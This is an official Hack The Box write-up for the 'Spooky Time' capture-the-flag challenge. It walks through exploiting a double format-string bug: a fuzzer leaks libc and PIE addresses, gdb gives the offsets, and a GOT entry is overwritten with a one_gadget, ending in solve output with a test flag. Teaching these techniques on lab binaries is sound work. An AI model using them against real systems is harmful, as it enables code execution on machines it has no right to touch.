



HACKTHEBOX



Spooky time

7th October 2022 / Document No.
D22.102.252

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: **Easy**

Classification: Official

Synopsis

Spooky Time is an easy difficulty challenge that features double format string vulnerability with GOT overwrite

Skills Required

- Format String exploitation

Skills Learned

- Format String arbitrary write

Enumeration

First of all, we start with a `checksec`:



```
Canary      : ✓  
NX          : ✓  
PIE        : ✓  
Fortify     : ✗  
RelRO      : ✗
```

Protections

As we can see:

Protection	Enabled	Usage
Canary	✓	Prevents Buffer Overflows
NX	✓	Disables code execution on stack
PIE	✓	Randomizes the base address of the binary
RelRO	✗	Makes some binary sections read-only

The interface of the program looks like this:



You know what time it is? It's SPOOKY time!



It's your chance to scare those little kids, say something scary!

%p

Seriously?? I bet you can do better than

0x1

Anyway, here comes another bunch of kids, let's try one more time..

From here, we can already see the first bug, which is a `format string bug`. Keeping in mind that we have an `fsb` and there is no `RelRO`, we can overwrite some `GOT` addresses like `puts@got`, `printf@got` etc.

Disassembly

Starting with `main()`:

```
void main(void)

{
    long in_FS_OFFSET;
    char local_154 [12];
    char local_148 [312];
    long local_10;

    local_10 = *(long *) (in_FS_OFFSET + 0x28);
    setup();
    banner();
    puts("It's your chance to scare those little kids, say something scary!\n");
    __isoc99_scanf(&DAT_00102963,local_154);
    puts("\nSeriously?? I bet you can do better than ");
    printf(local_154);
    puts("\nAnyway, here comes another bunch of kids, let's try one more
time..");
    puts("\n");
    __isoc99_scanf(&DAT_001029df,local_148);
    puts("\nOk, you are not good with that, do you think that was scary??\n");
    printf(local_148);
    puts("Better luck next time!\n");
    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}
```

The 2 similar bugs here are obvious:

- `printf(local_154);`
- `printf(local_148);`

`local_154` is our first buffer that is 12 bytes long. Due to its small size, we cannot leak more than 2 addresses.

It is possible for the user to leak:

- Libc address
- Canary
- PIE address
- Stack address

With only 2 leaks available, the only way to proceed is to leak a `libc` address and a `PIE` address, both using one `fsb`.

After which we can calculate the `libc` and `PIE` base addresses.

Knowing the `PIE` base address will allow us to further calculate the location of `puts@GOT` or `printf@GOT`.

Finally, with the use of the second `fsb` we could overwrite one of the aforementioned addresses with a `one_gadget` (which needs `libc` to be calculated).

So, our 2 leaks will suffice to exploit the program.

Debugging

In order to find some proper leaks, I made this fuzzer function:

```
def fuzzer():
    for i in range(100):
        r = process(fname)
        r.recvuntil('scary!')
        r.sendline(f'%{i}$p')
        r.recvlines(3)
        print(f'{i}: {r.recvline().strip()}')
        r.close()
    pause()
```



```
[*] Loaded 5 cached gadgets for './spooky_time'
[+] Starting local process './spooky_time': pid 38106
0: b'%0$p'
[*] Stopped process './spooky_time' (pid 38106)
[*] Paused (press any to continue)
[+] Starting local process './spooky_time': pid 38108
1: b'0x1'
[*] Stopped process './spooky_time' (pid 38108)
[*] Paused (press any to continue)
[+] Starting local process './spooky_time': pid 38110
2: b'0x1'
[*] Stopped process './spooky_time' (pid 38110)
[*] Paused (press any to continue)
[+] Starting local process './spooky_time': pid 38112
3: b'0x7f56b93a1a37'
[*] Stopped process './spooky_time' (pid 38112)
[*] Paused (press any to continue)
```

Some good addresses are at `%69$p` for `libc` address and `%51$p` for `PIE`. Taking a look inside `gdb` we can calculate the offsets for `base` addresses.

```

printf@plt (
  $rdi = 0x007ffffffffffdc4 → "%69$p.%51$p",
  $rsi = 0x0000000000000001
)

----- threads -----
[#0] Id 1, Name: "spooky_time", stopped 0x55555555433 in main (),
reason: SINGLE STEP
-----
----- trace -----
[#0] 0x55555555433 → main()
-----

gef>
0x7ffff7dbce40.0x555555553c00x000055555555438 in main ()

```

We have our 2 leaks and now we are going to calculate the offsets from their base.

```

gef> vmmap
[ Legend: Code | Heap | Stack ]
Start      End      Offset    Perm Path
0x005555554000 0x005555555000 0x0000000000000000 r-- /home/w3th4nds
<SNIP>
0x007ffff7d93000 0x007ffff7dbb000 0x0000000000000000 r-- /home/w3th4nds
/github/htb-events-dev/HACKTHEB00/pwn/[Day 4] Spooky Time/htb/glibc
/libc.so.6
<SNIP>
gef> p 0x7ffff7dbce40-0x007ffff7d93000
$1 = 0x29e40
gef> p 0x555555553c0-0x005555554000
$2 = 0x13c0

```

We see that the offsets for `libc` and `PIE` are `0x29e40` and `0x13c0` respectively. Now that we have our `base` addresses, we are going to use [pwntools](#) that have a built-in function that makes the `format string bug` really easy to exploit. What we need to do, is:

- Have `libc` base for `one_gadget` [✓]
- Have `PIE` base for `puts@got` [✓]
- `one_gadget` for `libc` [✓]
- Know the offset where we write [✓]

We have some `gadgets`, but only the third one suits the constraints of the binary.



```
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
```

With the second `fsb`, we can see that our offset is at 8.



```
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
```

Ok, you are **not** good with that, **do** you think that was scary??

```
0x1.0x1.0x7fa9bad89a37.0x3f.0x7fa9bae8e280.0x62746800000000.
(nil).0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.Better
luck next time!
```

Solution



```
[+] Opening connection to 0.0.0.0 on port 1337: Done
[*] '/home/w3th4nds/github/htb-events-dev/HACKTHEB00/pwn/[Day 4] Spooky
Time/htb/spooky_time'
  Arch:      amd64-64-little
  RELRO:     No RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
  RUNPATH:   b'./glibc/'
[*] b'/home/w3th4nds/github/htb-events-dev/HACKTHEB00/pwn/[Day 4]
Spooky Time/htb/glibc/libc.so.6'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
[*] Loaded 5 cached gadgets for './spooky_time'
[+] Libc base: 0x7f83a390a000
[+] PIE base: 0x555912198000
[+] Waiting: Done
[+] Flag --> HTB{f4k3_fl4g_4_t35t1ng}
[*] Closed connection to 0.0.0.0 port 1337
```